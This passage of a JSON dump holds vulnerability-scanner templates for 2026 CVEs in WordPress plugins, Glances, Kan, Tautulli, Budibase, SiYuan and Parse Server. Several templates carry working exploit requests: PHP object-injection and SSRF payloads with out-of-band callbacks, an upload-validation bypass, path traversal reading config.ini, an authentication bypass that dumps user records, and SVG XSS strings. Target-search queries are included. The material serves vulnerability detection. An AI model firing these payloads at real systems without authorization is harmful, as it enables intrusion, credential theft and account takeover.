4a0a0047304502204baf6c299720562d3c88d83651162550f9549b846f5999086c7777ff09f9273d022100f0b07bf18431bc6dd6618ace7cb683b98c3c93dc13c13d9f5c11b47ff4f132da:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-3300.yaml","vuln_id":"cve-2026-3300"},{"raw":"id: CVE-2026-3296\n\ninfo:\n  name: Everest Forms WordPress Plugin <= 3.4.3 - PHP Object Injection\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    The Everest Forms plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.4.3 via deserialization of untrusted input from form entry metadata. This is due to the html-admin-page-entries-view.php file calling PHP's native unserialize() on stored entry meta values without passing the allowed_classes parameter. This makes it possible for unauthenticated attackers to inject a serialized PHP object payload through any public Everest Forms form field. The payload survives sanitize_text_field() sanitization (serialization control characters are not stripped) and is stored in the wp_evf_entrymeta database table. When an administrator views entries or views an individual entry, the unsafe unserialize() call processes the stored data without class restrictions.\n  impact: |\n    Unauthenticated attackers can execute arbitrary PHP code when an administrator views malicious form entries, potentially leading to full site compromise.\n  remediation: |\n    Update to the latest version beyond 3.4.3.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/everest-forms/\n    - https://plugins.trac.wordpress.org/browser/everest-forms/\n    - https://cisa.gov/known-exploited-vulnerabilities-catalog\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-3296\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-3296\n    cwe-id: CWE-502\n    epss-score: 0.03594\n    epss-percentile: 0.89475\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: wpeverest\n    product: everest_forms\n    framework: wordpress\n    shodan-query: http.html:\"/wp-content/plugins/everest-forms/\"\n    fofa-query: body=\"/wp-content/plugins/everest-forms/\"\n    publicwww-query: \"/wp-content/plugins/everest-forms/\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,everest-forms,php-object-injection,vkev,vuln,passive\n\nvariables:\n  oob_uri: \"http://{{interactsh-url}}/\"\n  oob_len: \"{{len(oob_uri)}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/everest-forms/readme.txt\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(body, 'Everest Forms')\"\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        group: 1\n        regex:\n          - '(?i)Stable tag:\\s*([0-9]+\\.[0-9]+(?:\\.[0-9]+)?)'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Referer: {{RootURL}}\n\n        action=evf_submit_form&evf_id=1&evf-field-1=test&evf-fields-meta=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A{{oob_len}}%3A%22http%3A%2F%2F{{interactsh-url}}%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A{{oob_len}}%3A%22http%3A%2F%2F{{interactsh-url}}%2F%22%3Bs%3A15%3A%22_soap_version%22%3Bi%3A1%3Bs%3A13%3A%22_proxy_host%22%3BN%3B%7D\n\n    matchers-condition: or\n    matchers:\n      - type: dsl\n        dsl:\n          - \"compare_versions(version, '<= 3.4.3')\"\n\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n# digest: 4b0a00483046022100f3c3bbc408baa001ce5bc7c21e7d4a70a269bc5cade6065dcc298bfcde08b47e02210081da1e323599d82cda0b866e95732fb88408b232958904bd33deef7efa0cc30c:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-3296.yaml","vuln_id":"cve-2026-3296"},{"raw":"id: CVE-2026-32596\n\ninfo:\n  name: Glances - Information Disclosure\n  author: theamanrawat\n  severity: high\n  description: |\n    Glances < 4.5.2 contains an information disclosure vulnerability caused by the web server running without authentication by default, letting remote attackers access sensitive system information including credentials, exploit requires no special privileges.\n  impact: |\n    Remote attackers can access sensitive system information including credentials, risking data exposure and system compromise.\n  remediation: |\n    Update to version 4.5.2 or later.\n  reference:\n    - https://github.com/nicolargo/glances/security/advisories/GHSA-wvxv-4j8q-4wjq\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-32596\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-32596\n    epss-score: 0.01584\n    epss-percentile: 0.75639\n    cwe-id: CWE-200\n  metadata:\n    verified: true\n    max-request: 2\n  tags: cve,cve2026,glances,exposure,unauth,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/4/system\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains_all(body, \"os_name\", \"os_version\", \"hostname\")'\n        condition: and\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/4/processlist\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains_all(body, \"cmdline\", \"cpu_times\", \"memory_info\")'\n        condition: and\n# digest: 4a0a004730450220461495c2d6f2e90e35ada07f96679eab3c247b56c22226896847135e559368a3022100e200564504615998e5f2a881f9a6343fd77a0aee7d0e32fb358b0d16d516765f:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-32596.yaml","vuln_id":"cve-2026-32596"},{"raw":"id: CVE-2026-32583\n\ninfo:\n  name: Webnus Inc. Modern Events Calendar - Broken Access Control\n  author: theamanrawat\n  severity: medium\n  description: |\n    Webnus Inc. Modern Events Calendar <= 7.29.0 contains a broken access control vulnerability caused by incorrectly configured access control security levels, letting attackers bypass authorization, exploit requires no special privileges.\n  impact: |\n    Attackers can bypass authorization and access restricted functionality or data, potentially compromising system integrity.\n  remediation: |\n    Update to the latest version beyond 7.29.0.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-32583\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-32583\n    epss-score: 0.00715\n    epss-percentile: 0.53862\n    cwe-id: CWE-862\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: webnus\n    product: modern_events_calendar\n    framework: wordpress\n  tags: cve2026,cve,wordpress,wp-plugin,wp,mec,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=mec_speaker_adding\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"mec_fes_speakers\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a00463044022049cb2ad7209bf0ef4aa23bf282da9a2fe134d7b62de7f9f4ef5ca31014f144470220440929c811d4ac9f55bea0abec8f32c991a7b0c8605a39f5166a1a63c187becd:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-32583.yaml","vuln_id":"cve-2026-32583"},{"raw":"id: CVE-2026-32475\n\ninfo:\n  name: Elementor Pro <=4.2.1 - Unauthenticated Arbitrary File Upload via Form Handler\n  author: pdteam\n  severity: critical\n  description: |\n    Elementor Pro plugin for WordPress in versions <=4.2.1 is vulnerable to unauthenticated arbitrary file upload in the Forms module File Upload field. The validation() and process_field() methods iterate over submitted file entries with different early-exit logic for UPLOAD_ERR_NO_FILE entries. When an attacker submits two file parts for the same upload field — an empty first entry (blank filename triggering UPLOAD_ERR_NO_FILE) followed by a payload — validation() returns early after the empty entry without ever type-checking the payload, while process_field() only skips (continue) the empty entry and moves the payload to wp-content/uploads/elementor/forms/. The AJAX action elementor_pro_forms_send_form requires no authentication or nonce.\n  impact: |\n    Unauthenticated remote code execution is achievable by uploading a PHP file to a web-accessible public directory (wp-content/uploads/elementor/forms/). Any file type can bypass the extension blocklist, including PHP webshells.\n  remediation: |\n    Update Elementor Pro to version 4.2.2 or later. The fix aligns the validation() and process_field() loops to consistently handle empty file entries.\n  reference:\n    - https://patchstack.com/articles/critical-unauthenticated-file-upload-to-rce-in-elementor-pro-plugin/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-32475\n    - https://github.com/absholi7ly/Elementor-Pro-Unauthenticated-Arbitrary-File-Upload-to-RCE\n    - https://www.bleepingcomputer.com/news/security/critical-elementor-pro-bug-exposes-wordpress-sites-to-rce-attacks/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.0\n    cve-id: CVE-2026-32475\n    cwe-id: CWE-434\n    epss-score: 0.01995\n    epss-percentile: 0.80768\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: elementor\n    product: elementor-pro\n    framework: wordpress\n    fofa-query: body=\"/plugins/elementor-pro/\"\n    shodan-query: html:\"/plugins/elementor-pro/\"\n    publicwww-query: \"/wp-content/plugins/elementor-pro/\"\n  tags: cve,cve2026,elementor,elementor-pro,wordpress,wp-plugin,file-upload,unauth,rce,intrusive,vkev,vuln\n\nvariables:\n  marker: \"{{rand_text_alpha(12)}}\"\n  fname: \"{{rand_text_alpha(8)}}.txt\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/elementor-pro/readme.txt\"\n\n    matchers:\n      - type: word\n        words:\n          - \"Elementor Pro\"\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    extractors:\n      - type: regex\n        name: post_id\n        group: 1\n        regex:\n          - 'name=\"post_id\"\\s+value=\"(\\d+)\"'\n          - '\"post_id\"\\s*:\\s*\"?(\\d+)\"?'\n        internal: true\n\n      - type: regex\n        name: form_id\n        group: 1\n        regex:\n          - 'name=\"form_id\"\\s+value=\"([a-f0-9A-F]{4,16})\"'\n          - '\"form_id\"\\s*:\\s*\"([a-f0-9A-F]{4,16})\"'\n        internal: true\n\n      - type: regex\n        name: field_id\n        group: 1\n        regex:\n          - 'name=\"form_fields\\[([^\\]]+)\\]\"\\s[^>]*type=\"file\"'\n          - 'type=\"file\"\\s[^>]*name=\"form_fields\\[([^\\]]+)\\]\"'\n        internal: true\n\n      - type: regex\n        name: text_field\n        group: 1\n        regex:\n          - 'name=\"form_fields\\[([^\\]]+)\\]\"\\s[^>]*type=\"text\"'\n          - 'type=\"text\"\\s[^>]*name=\"form_fields\\[([^\\]]+)\\]\"'\n        internal: true\n\n      - type: regex\n        name: email_field\n        group: 1\n        regex:\n          - 'name=\"form_fields\\[([^\\]]+)\\]\"\\s[^>]*type=\"email\"'\n          - 'type=\"email\"\\s[^>]*name=\"form_fields\\[([^\\]]+)\\]\"'\n        internal: true\n\n    matchers:\n      - type: word\n        words:\n          - \"elementor-form\"\n          - 'type=\"file\"'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=WebKitFormBoundarySBDsMGAl\n        X-Requested-With: XMLHttpRequest\n        Accept: application/json, text/javascript, */*; q=0.01\n        Connection: close\n\n        --WebKitFormBoundarySBDsMGAl\n        Content-Disposition: form-data; name=\"action\"\n\n        elementor_pro_forms_send_form\n        --WebKitFormBoundarySBDsMGAl\n        Content-Disposition: form-data; name=\"post_id\"\n\n        {{post_id}}\n        --WebKitFormBoundarySBDsMGAl\n        Content-Disposition: form-data; name=\"form_id\"\n\n        {{form_id}}\n        --WebKitFormBoundarySBDsMGAl\n        Content-Disposition: form-data; name=\"queried_id\"\n\n        {{post_id}}\n        --WebKitFormBoundarySBDsMGAl\n        Content-Disposition: form-data; name=\"referrer\"\n\n        {{BaseURL}}\n        --WebKitFormBoundarySBDsMGAl\n        Content-Disposition: form-data; name=\"form_fields[{{text_field}}]\"\n\n        Test User\n        --WebKitFormBoundarySBDsMGAl\n        Content-Disposition: form-data; name=\"form_fields[{{email_field}}]\"\n\n        test@example.com\n        --WebKitFormBoundarySBDsMGAl\n        Content-Disposition: form-data; name=\"form_fields[{{field_id}}][0]\"; filename=\"\"\n        Content-Type: application/octet-stream\n\n        --WebKitFormBoundarySBDsMGAl\n        Content-Disposition: form-data; name=\"form_fields[{{field_id}}][1]\"; filename=\"{{fname}}\"\n        Content-Type: text/plain\n\n        CVE-2026-32475-PoC-{{marker}}\n        --WebKitFormBoundarySBDsMGAl--\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"success\":true'\n\n      - type: status\n        status:\n          - 200\n\n      - type: word\n        part: body\n        words:\n          - \"not_allowed\"\n          - \"are not allowed to access this page\"\n          - \"permission_denied\"\n          - \"invalid_nonce\"\n          - \"rest_forbidden\"\n        negative: true\n\n    extractors:\n      - type: regex\n        part: body\n        name: upload_confirmed\n        regex:\n          - '\"success\"\\s*:\\s*true'\n# digest: 4a0a00473045022100930b065e9d924a522eb0919480294e372ea427e691c626afb52f8e5caf5b05d902207279aa4d7ec31d41a4a2dcb979ac38b7a4523b5784f79abdb11d66c6006b1118:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-32475.yaml","vuln_id":"cve-2026-32475"},{"raw":"id: CVE-2026-32255\n\ninfo:\n  name: Kan <= 0.5.4 - Server-Side Request Forgery\n  author: prithvee07\n  severity: high\n  description: |\n    Kan, an open-source project management tool (Trello alternative), versions 0.5.4 and below are vulnerable to an unauthenticated Server-Side Request Forgery in the /api/download/attatchment endpoint. The endpoint passes the attacker-controlled `url` query parameter straight to a server-side fetch() without validating the destination host, allowing an unauthenticated attacker to make the server issue arbitrary outbound HTTP requests and read back the full response body.\n  impact: |\n    Unauthenticated attackers can force the server to issue requests to internal-only services, such as cloud metadata endpoints or internal APIs, and read the complete response body, potentially exposing credentials, configuration data, and other sensitive internal information.\n  remediation: |\n    Upgrade Kan to version 0.5.5 or later, which validates the requested host against the configured S3_ENDPOINT before making the upstream request.\n  reference:\n    - https://github.com/kanbn/kan/security/advisories/GHSA-qrx8-9hc6-jvqg\n    - https://github.com/kanbn/kan/commit/53397d8e81dc1494d94132848c1f0416f1152bd7\n    - https://github.com/kanbn/kan/releases/tag/v0.5.5\n    - https://github.com/kOaDT/poc-cve-2026-32255\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-32255\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n    cvss-score: 8.6\n    cve-id: CVE-2026-32255\n    epss-score: 0.26901\n    epss-percentile: 0.98044\n    cwe-id: CWE-918\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: kanbn\n    product: kan\n    shodan-query: http.title:\"Kan\"\n    fofa-query: title=\"Kan\" && body=\"_next\"\n  tags: cve,cve2026,kan,ssrf,unauth,oast,vkev\n\nhttp:\n  - raw:\n      - |\n        GET /api/download/attatchment?url=http://{{interactsh-url}}/{{randstr}}&filename={{randstr}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(header, \"filename=\\\"{{randstr}}\\\"\")'\n        condition: and\n# digest: 4b0a00483046022100ce77f198cfec8a65f7af933fd5857a3fcce71034f1640e6c43143b3dc2b8d7a5022100daa3c814c06ea8500cddd12b6cffc146c1a90754642be767f200afa7ace4c5ff:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-32255.yaml","vuln_id":"cve-2026-32255"},{"raw":"id: CVE-2026-32230\n\ninfo:\n  name: Uptime-Kuma < v1.23.0 - Improper Access Control\n  author: ritikchaddha\n  severity: medium\n  description: |\n    Uptime-Kuma before v1.23.0 is vulnerable to an information disclosure issue due to missing authorization on the /api/badge/1/ping/24 endpoint. An unauthenticated attacker can access this endpoint to leak ping statistics, such as average ping and ping history, for existing monitors without needing access to the protected status page. This can lead to unintended exposure of internal monitoring data.\n  impact: |\n    Information disclosure of monitor ping data to unauthenticated attackers, potentially aiding reconnaissance efforts.\n  remediation: |\n    Upgrade to Uptime-Kuma version 1.23.0 or later, which patches the vulnerable endpoint by introducing proper authorization checks.\n  reference:\n    - https://github.com/advisories/GHSA-c7hf-c5p5-5g6h\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-32230\n  classification:\n    cve-id: CVE-2026-32230\n    epss-score: 0.00925\n    epss-percentile: 0.60548\n    cwe-id: CWE-862\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cpe: cpe:2.3:a:louislam:uptime-kuma:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: louislam\n    product: uptime-kuma\n    shodan-query: title:\"uptime-kuma\"\n  tags: cve,cve2026,uptime-kuma,exposure\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/badge/1/ping/24\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(body, 'Avg. Ping (')\"\n        condition: and\n# digest: 490a0046304402200953f0a29b86af44b6cfff31df78564f79a95f63c0ec941771fc5e628d87d5180220709c89a2800aafe45ae9c1bc83aeb0ef54ee5a07a4acf877a8c0fb63f10bb05a:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-32230.yaml","vuln_id":"cve-2026-32230"},{"raw":"id: CVE-2026-31831\n\ninfo:\n  name: Tautulli <= 2.16.1 - Path Traversal\n  author: WRG-11\n  severity: high\n  description: |\n    Tautulli is a monitoring and tracking tool for Plex Media Server. Prior to version 2.17.0, the `/newsletter/image/images` endpoint joins user-controlled path segments onto the newsletter image directory without containment validation. Authentication is not required for this endpoint, allowing unauthenticated attackers to perform directory traversal and read arbitrary files accessible to the server process. Reading `config/config.ini` discloses the API key, the hashed admin password, the JWT token secret, and the Plex Media Server token. Version 2.17.0 fixes this issue.\n  impact: |\n    Unauthenticated attackers can read arbitrary files accessible to the server, including `config.ini` (API key, hashed admin password, JWT secret, Plex token) and `tautulli.db` (active JWT tokens).\n  remediation: |\n    Update to version 2.17.0 or later.\n  reference:\n    - https://github.com/Tautulli/Tautulli/security/advisories/GHSA-xp55-2pf4-fv8m\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-31831\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-31831\n    epss-score: 0.01965\n    epss-percentile: 0.8041\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: tautulli\n    product: tautulli\n    shodan-query: http.title:\"Tautulli\"\n  tags: cve,cve2026,tautulli,lfi,traversal\n\nhttp:\n  - raw:\n      - |\n        GET /newsletter/image/images/..%2F..%2F..%2F..%2F..%2F..%2Fconfig%2Fconfig.ini HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"[General]\"\n          - \"[PMS]\"\n          - \"pms_identifier\"\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - \"image/png\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402201895887a45e7ca8ed8c5787732b1e6f49182b30e8fa497908b1ed3d52db6503602201b5b63636970f71d684e8292bf9b3e54bb387f045f7dd18dbce517be6a203bd6:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-31831.yaml","vuln_id":"cve-2026-31831"},{"raw":"id: CVE-2026-31816\n\ninfo:\n  name: Budibase - Authentication Bypass\n  author: theamanrawat\n  severity: critical\n  description: |\n    Budibase <= 3.31.4 contains an authentication bypass caused by unanchored regex in authorized() middleware matching webhook path patterns in query strings, letting unauthenticated remote attackers access any server-side API endpoint, exploit requires crafted request with webhook pattern in URL.\n  impact: |\n    Unauthenticated remote attackers can bypass all authentication and authorization to access any server-side API endpoint.\n  remediation: |\n    Update to a version later than 3.31.4 or latest available version.\n  reference:\n    - https://github.com/Budibase/budibase/security/advisories/GHSA-gw94-hprh-4wj8\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-31816\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 9.1\n    cve-id: CVE-2026-31816\n    epss-score: 0.16683\n    epss-percentile: 0.97036\n    cwe-id: CWE-74\n  metadata:\n    max-request: 1\n    verified: true\n  tags: cve,cve2026,budibase,auth-bypass,vuln,unauthenticated,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /api/ta_users/search?/webhooks/trigger HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        x-budibase-app-id: {{app_id}}\n\n        {\"query\":{},\"limit\":1000}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains_all(body, \"email\", \"roleId\", \"status\")'\n        condition: and\n# digest: 490a0046304402200ed589397ab29b7a944420fbbdb7a5d214f3720e9c7e19d7ec1cca7743b35ca402200d6825bba5202fa725a1cbc4021179dc766da590d58c7cb7ae07987a83370efb:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-31816.yaml","vuln_id":"cve-2026-31816"},{"raw":"id: CVE-2026-31809\n\ninfo:\n  name: SiYuan <= v3.5.9 - Cross Site Scripting\n  author: 0x_Akoko\n  severity: medium\n  description: |\n   SiYuan v3.5.10 contains a reflected XSS caused by improper sanitization of javascript: href attributes allowing ASCII control characters to bypass prefix checks in SVG sanitizer, letting unauthenticated attackers execute JavaScript via /api/icon/getDynamicIcon.\n  impact: |\n   Unauthenticated attackers can execute arbitrary JavaScript in users' browsers, leading to session hijacking or other client-side attacks.\n  remediation: |\n   Update to version 3.5.10 or later.\n  reference:\n    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-pmc9-f5qr-2pcr\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-31809\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2026-31809\n    epss-score: 0.00517\n    epss-percentile: 0.44098\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: siyuan-note\n    product: siyuan\n    shodan-query: http.favicon.hash:-1450125239\n  tags: cve,cve2026,siyuan,xss,bypass\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: POST\n    path:\n      - \"{{BaseURL}}/api/system/version\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'compare_versions(ver, \">= 0.0.1\", \"<= 3.5.9\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: json\n        name: ver\n        json:\n          - '.data'\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/icon/getDynamicIcon?type=8&content=%3C%2Ftext%3E%3Ca+href%3D%22java%26%239%3Bscript%3Aalert%28document.domain%29%22%3E%3Ctext+x%3D%2250%25%22+y%3D%2280%25%22+fill%3D%22red%22+style%3D%22font-size%3A60px%22%3EClick+me%3C%2Ftext%3E%3C%2Fa%3E%3Ctext%3E&color=blue\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '<a href=\"java&#9;script:alert(document.domain)\">'\n          - 'id=\"dynamic_icon_type8'\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - \"image/svg+xml\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022032d764c533a3da56d1064c0d6041284d1e206bd2e7761e3a8ff808ada375ebe0022100ee1d589f09ae433af63169d89d71c17ee6ee85d2aa09bc11dae29059c2565425:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-31809.yaml","vuln_id":"cve-2026-31809"},{"raw":"id: CVE-2026-31807\n\ninfo:\n  name: SiYuan <= v3.5.9 - SVG Animate Element XSS\n  author: 0x_Akoko\n  severity: medium\n  description: |\n   SiYuan <= v3.5.9 contains a reflected XSS caused by insufficient SVG sanitization allowing SVG animation elements to inject executable JavaScript in /api/icon/getDynamicIcon endpoint, letting unauthenticated attackers execute scripts.\n  impact: |\n   Unauthenticated attackers can execute arbitrary JavaScript, leading to session hijacking or other client-side attacks.\n  remediation: |\n   Update to version 3.5.10 or later.\n  reference:\n    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5hc8-qmg8-pw27\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-31807\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2026-31807\n    epss-score: 0.00455\n    epss-percentile: 0.39625\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: siyuan-note\n    product: siyuan\n    shodan-query: http.favicon.hash:-1450125239\n  tags: cve,cve2026,siyuan,xss,svg,reflected,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: POST\n    path:\n      - \"{{BaseURL}}/api/system/version\"\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - 'status_code == 200'\n          - 'compare_versions(ver, \">= 0.0.1\", \"<= 3.5.9\")'\n        condition: and\n\n    extractors:\n      - type: json\n        name: ver\n        internal: true\n        json:\n          - '.data'\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/icon/getDynamicIcon?type=8&content=%3C%2Ftext%3E%3Ca%3E%3Canimate+attributeName%3D%22href%22+values%3D%22javascript%3Aalert%28document.domain%29%22+begin%3D%220s%22+fill%3D%22freeze%22%2F%3E%3Ctext+x%3D%2250%25%22+y%3D%2280%25%22+fill%3D%22red%22+style%3D%22font-size%3A60px%22%3EClick+me%3C%2Ftext%3E%3C%2Fa%3E%3Ctext%3E&color=blue\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: response\n        words:\n          - '<animate attributeName=\"href\" values=\"javascript:alert(document.domain)\" begin=\"0s\" fill=\"freeze\"/>'\n          - 'id=\"dynamic_icon_type8'\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - \"image/svg+xml\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502203331aa2c08bb3ede0761cd042503066e369bc8344cbbf7fa34eed95e4942d96a0221008f34d08b3a30b4a17ec3b41e1dc831685f2267b7af64da148a2c19418b651a93:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-31807.yaml","vuln_id":"cve-2026-31807"},{"raw":"id: CVE-2026-30965\n\ninfo:\n  name: Parse Server < 8.6.21 / 9.x < 9.5.2 - Session Token Exfiltration\n  author: str4k3r,0x_Akoko\n  severity: critical\n  description: |\n    Parse Server < 8.6.21 / 9.x < 9.5.2 contains an information disclosure vulnerability caused by improper handling of the redirectClassNameForKey query parameter, letting authenticated or unauthenticated attackers exfiltrate session tokens, exploit requires ability to create or update an object with a new relation field depending on Class-Level Permissions.\n  impact: |\n    Attackers can exfiltrate session tokens and take over user accounts, leading to account compromise.\n  remediation: |\n    Update to version 9.5.2-alpha.8 or 8.6.21 or later.\n  reference:\n    - https://github.com/parse-community/parse-server/security/advisories/GHSA-6r2j-cxgf-495f\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-30965\n    - https://github.com/parse-community/parse-server/commit/70b7b070e1135949dd80ecf382f34db0bfdbb71e\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N\n    cvss-score: 9.9\n    cve-id: CVE-2026-30965\n    epss-score: 0.01358\n    epss-percentile: 0.71762\n    cwe-id: CWE-863\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: parse-community\n    product: parse-server\n    shodan-query: '\"X-Parse-Application-Id\" OR http.html:\"parseServerVersion\"'\n    fofa-query: 'body=\"parseServerVersion\" || header=\"X-Parse-Application-Id\"'\n  tags: cve,cve2026,parse,parse-server,session-hijack,auth-bypass\n\nvariables:\n  cn: \"{{to_lower(rand_text_alpha(8))}}\"\n\nflow: (http(1) || http(2)) && http(3) && http(4) && http(5)\n\nhttp:\n  - raw:\n      - |\n        GET {{BaseURL}}/ HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: appid\n        internal: true\n        group: 1\n        regex:\n          - '(?:applicationId|appId|APP_ID|PARSE_APP_ID)\\s*[=:,]\\s*\"([A-Za-z0-9]{20,})\"'\n          - 'Parse\\.initialize\\(\"([A-Za-z0-9]{20,})\"'\n          - 'X-Parse-Application-Id[\"\\s:]+([A-Za-z0-9]{20,})'\n\n      - type: regex\n        name: jskey\n        internal: true\n        group: 1\n        regex:\n          - '(?:javascriptKey|javaScriptKey|jsKey|JS_KEY|PARSE_JS_KEY)\\s*[=:,]\\s*\"([A-Za-z0-9]{20,})\"'\n          - 'Parse\\.initialize\\(\"[A-Za-z0-9]+\"\\s*,\\s*\"([A-Za-z0-9]{20,})\"'\n\n    matchers:\n      - type: dsl\n        dsl:\n          